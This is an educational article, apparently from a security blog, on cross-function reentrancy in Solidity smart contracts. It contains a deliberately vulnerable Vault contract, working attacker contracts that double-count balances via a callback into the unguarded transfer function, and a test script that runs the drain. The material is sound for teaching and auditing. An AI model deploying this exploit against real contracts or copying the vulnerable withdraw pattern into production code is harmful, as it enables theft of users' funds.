This article reviews how cross-function reentrancy attacks work, an attack example, and how cross-function reentrancy attacks can be prevented.<\/p>\n
Example of a cross-function reentrancy vulnerability<\/h2>\n
This smart contract adds the This is very similar to single function reentrancy but we set Reentrancy Guard for The problem is that state changes are not completed before the transfer function becomes callable by the user. For instance, when a user calls the After calling the We repeat those operations.<\/span><\/p>\n These are attacker contracts.<\/span><\/strong><\/p>\n This is the exploit.<\/span><\/p>\ntransfer<\/code> function for transferring the user’s value to another user without using ETH.<\/span><\/p>\n\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\n\ncontract Vault is ReentrancyGuard {\n mapping (address => uint) private balances;\n\n function deposit() external payable nonReentrant {\n balances[msg.sender] += msg.value;\n }\n\n function transfer(address to, uint amount) public {\n if (balances[msg.sender] >= amount) {\n balances[to] += amount;\n balances[msg.sender] -= amount;\n }\n }\n\n function withdraw() public nonReentrant { \/\/ we can use noReentrant here.\n uint amount = balances[msg.sender];\n msg.sender.call{value: amount}("");\n balances[msg.sender] = 0; \/\/ did not checked balance. just overwrite to 0.\n }\n}<\/code><\/pre>\nwithdraw<\/code> and deposit function so the same attack can not be done on this code. but the transfer function does not have nonReentrant<\/code>.<\/span><\/p>\nwithdraw<\/code> function, it makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to zero. As a result, the total balance of ETH across both accounts effectively doubles for the same user.<\/span><\/p>\nCross function reentrancy attack steps<\/strong><\/h2>\n
attack<\/code> function,<\/span><\/p>\n\n
deposit<\/code> to increase the balance for preparation for the attack.<\/span><\/li>\nwithdraw<\/code> function and it makes an external call to the Attacker<\/code>, and it is called the receive<\/code> function and it transfers the attacker’s deposited amount to Attacker2<\/code>.<\/span><\/li>\ntransfer<\/code> and transfer the balance from Attacker2<\/code> to Attacker<\/code> now the value of the balance is the same as at step 1.<\/code> but Attacker2<\/code> received ETH in the previous steps.<\/span><\/li>\n<\/ol>\n\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\nimport ".\/vault.sol";\n\ncontract Attacker {\n Vault victim;\n uint256 amount = 1 ether;\n\n Attacker2 public attacker2;\n\n constructor(Vault _victim) payable {\n victim = Vault(_victim);\n }\n\n function setattacker2(address _attacker2) public {\n attacker2 = Attacker2(_attacker2);\n }\n\n function attack() public payable {\n uint256 value = address(this).balance;\n victim.deposit{value: value}();\n while(address(victim).balance >= amount) {\n victim.withdraw();\n attacker2.send( value , address(this));\n }\n }\n\n\n \/**\n * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. \n * Because burn balance of attacker1 after this function.\n * @dev triggered by victim.withdraw()\n *\/\n receive() external payable {\n victim.transfer(address(attacker2), msg.value);\n }\n}\n\ncontract Attacker2 {\n\n uint256 amount = 1 ether;\n Vault victim;\n\n constructor(Vault _victim) {\n victim = Vault(_victim);\n }\n\n function send(uint256 value, address attacker) public {\n victim.transfer(attacker, value);\n }\n\n}<\/code><\/pre>\nAttacker<\/code> needs to know Attacker2<\/code> to send. Attacker2<\/code> can be EOA, we used a simple contract that is just able to send but for the indication.<\/span><\/p>\nfrom wake.testing import *\n\nfrom pytypes.contracts.crossfunctionreentrancy.vault import Vault\nfrom pytypes.contracts.crossfunctionreentrancy.attacker import Attacker\nfrom pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2\n\n@default_chain.connect()\ndef test_default():\n print("---------------------Cross Function Reentrancy---------------------")\n victim = default_chain.accounts[0]\n attacker = default_chain.accounts[1]\n \n vault_contract = Vault.deploy(from_=victim)\n vault_contract.deposit(from_=victim, value="10 ether")\n \n \n attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")\n attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)\n\n attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)\n print("Vault balance : ", vault_contract.balance)\n print("Attacker balance: ", attacker_contract.balance)\n\n print("----------Attack----------")\n attacker_contract.attack(from_=attacker)\n\n print("Vault balance : ", vault_contract.balance)\n print("Attacker balance: ", attacker_contract.balance)<\/code><\/pre>\n
![\"\"](\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-14-22-06.png\")
<\/p>\n